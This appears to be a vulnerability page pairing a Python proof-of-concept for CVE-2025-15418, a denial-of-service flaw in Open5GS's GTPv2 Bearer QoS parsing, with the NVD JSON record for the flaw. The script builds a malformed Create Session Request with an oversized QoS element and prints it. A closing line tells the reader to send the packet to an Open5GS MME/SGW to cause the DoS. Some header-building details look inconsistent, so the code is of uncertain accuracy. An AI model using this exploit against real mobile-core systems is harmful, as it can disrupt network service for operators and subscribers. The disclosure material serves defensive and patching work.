CVE-2025-15418

#!/usr/bin/env python3 """ CVE-2025-15418 PoC - Open5GS Bearer QoS DoS This PoC demonstrates the malformed Bearer QoS IE that triggers the vulnerability. """ import struct def create_malformed_bearer_qos_ie(): """ Create a malformed GTPv2 Bearer QoS Information Element that triggers the vulnerability in ogs_gtp2_parse_bearer_qos """ # IE Type for Bearer QoS (0x57) ie_type = 0x57 # Malformed length - causes buffer overflow in length handler # Valid QoS values should be 1 byte each for QCI, PL, PCI, etc. malformed_length = 0xFFFF # Invalid length causing overflow # Create IE header ie_header = struct.pack('!BHH', ie_type, malformed_length, 0) # Malformed IE data that triggers the vulnerability ie_data = b'\x00' * malformed_length return ie_header + ie_data def create_gtpv2_create_session_request(): """ Build a GTPv2 Create Session Request with malformed Bearer QoS IE """ # GTPv2 header version = 2 teid_present = 1 message_type = 0x32 # Create Session Request header = struct.pack('!BBHI', (version << 5) | (teid_present << 3), 0xFF, # Spare message_type, 0x00000000 # TEID (0 for control plane) ) # Add sequence number, spare, and length placeholder header += struct.pack('!IBH', 0x000001, 0, 0) # Include malformed Bearer QoS IE bearer_qos_ie = create_malformed_bearer_qos_ie() return header + bearer_qos_ie if __name__ == "__main__": print("CVE-2025-15418 Open5GS Bearer QoS DoS PoC") print("=" * 50) print("Generating malformed GTPv2 packet...") packet = create_gtpv2_create_session_request() print(f"Packet length: {len(packet)} bytes") print(f"Packet hex: {packet.hex()}") print("\n[!] Send this packet to Open5GS MME/SGW to trigger DoS")

{"cve": {"id": "CVE-2025-15418", "sourceIdentifier": "[email protected]", "published": "2026-01-02T00:15:43.047", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Open5GS up to 2.7.6. Affected by this vulnerability is the function ogs_gtp2_parse_bearer_qos in the library lib/gtp/v2/types.c of the component Bearer QoS IE Length Handler. Performing a manipulation results in denial of service. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. The patch is named 4e913d21f2c032b187815f063dbab5ebe65fe83a. To fix this issue, it is recommended to deploy a patch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7.6", "matchCriteriaId": "9C77332A-BAA3-4FE7-A237-B87F175C6F48"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/commit/4e913d21f2c032b187815f063dbab5ebe65fe83a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/open5gs/open5gs/issues/4217", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/open5gs/open5gs/issues/4217#issue-3759615968", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/open5gs/open5gs/issues/4217#issuecomment-3690767105", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://vuldb.com/?ctiid.339340", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuld ... 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